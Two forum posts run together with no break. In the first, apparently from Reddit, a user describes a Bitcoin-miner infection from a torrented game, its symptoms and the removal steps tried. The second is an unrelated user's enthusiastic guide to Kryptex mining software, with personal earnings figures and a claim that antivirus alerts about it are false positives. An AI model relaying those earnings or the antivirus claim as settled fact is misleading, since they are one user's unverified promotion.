so a few days ago I did something stupid and tried to torrent a game for the first time and ended up installing a Bitcoin Miner onto my PC :/ It was very obvious that it was malware as it quickly seemed to hijack Google Chrome. I scanned with Windows Defender but nothing was found so I checked out the sticky post on here and got a trial of Malware Bytes, which detected the malware and quarantined it, then I removed it. I really thought it was that simple but I think it's still there. I had Spotify playing music on idle and got curious, did CTRL + ALT + DELETE to open up Task Manager and quickly saw my CPU % shoot down from 100% to 2% - %5, which is what it's been sitting at when I'm using it right now.
Other than that, there are a couple of weird things that make me think the virus is still there:
  1. Programs keep getting Suspended status in Task Manager (this is happening to Malware Bytes and Google Chrome), which never used to happen before. This a brand new PC I built in January so it shouldn't be doing this that often. I tried to open Malware Bytes now to scan again and it just froze on "Not Responding" and I can't seem to close it...
  2. There is a strange "Suspended" background process in Task Manager that uses up 3.6MB of memory. Here's a screenshot of what it looks like: http://prntscr.com/lchp1w :(
  3. When I right click ^ "open file location" on the suspended process and the 2 others below it, the location I get is C:\Windows\SysWOW64 and it's titled svchost.exe, which I read is a normal Windows process but there are A LOT of them running in my Task Manager right now
  4. All the other svchost.exes are under C:\Windows\System32, which I read is fine. Does this mean that the one in SysWOW64 is malware/infected?
As per the stickied thread, I ran rkill.com and turned on "scan for rootkits" in my Malware Bytes trial, and also ran the ADWCleaner. I did all of the above after I had originally removed the malware with Malware Bytes, so all these second scans didn't detect anything. Is there anything else I could do to actually detect the malware and remove it?
EDIT: Google Chrome keeps not responding, same with Malware Bytes. Can't uninstall Malware Bytes and Firefox stopped responding too. Writing this on my phone since I turned everything off briefly after writing this post, since my mouse started moving extremely slow and a repetitive beeping sound started coming out of my speakers. I swear it was like whatever infected me detected whenever I looked up information on malware removal and visited this subreddit ...

[Free] [Guide] Kryptex BTC Miner! Best miner for beginners!

Kryptex is a perfect, lightweight bitcoin miner that I have used on and off over the past year now. I have only used it about a month in time total, accumulating over $30, and you can expect at least $30-$70 per month with a decent enough rig (https://i.imgur.com/LruixfG.png first and only withdraw of btc and my current balancehttps://i.imgur.com/qV8RWoX.png), last I had was $9 and I only remember running it for a couple days before turning it off and forgetting about it). I personally believe this is the best mining software for beginners or even novices, with such an easy setup that only takes minutes. Not to mention they have both a lite mode and and full mode depending on how hard you want your computer to run, or if you want to run the app in the background with games or videos. I have found it doesn't affect my system much if at all, and my specs are 16gb RAM, Ryzen 5 1600 and a 1060 6GB.
You're first brought into a benchmark after logging into your account (there is a warning about antiviruses producing false positives. https://i.imgur.com/6DEqB4l.png) but down below you can find an antivirus link with the full scan of the .exe. During the benchmark the program doesn't use much computer power, only about 10% cpu, <1000mb of ram and <5% GPU. Once the benchmark is you are free to check the app and see what it has to offer!
In the settings you're first greeted with an option for Starting with Windows and an option to enable or disable the use of the CPU. After that you are given a drop down that lets you choose the mode Kyrptex will run when on in the background, I recommend Lite Mode as it will be the best for your pc during use and you can leave the heavier loads for when your pc is sleeping or inactive. With only litemode you could expect anywhere from $5-$15 depending on your rig and load, I usually sit at about $7-$13 per month. You also have an advanced settings option giving you the option to disable/enable your cpus or gpus and which algorithms you'd like to use.
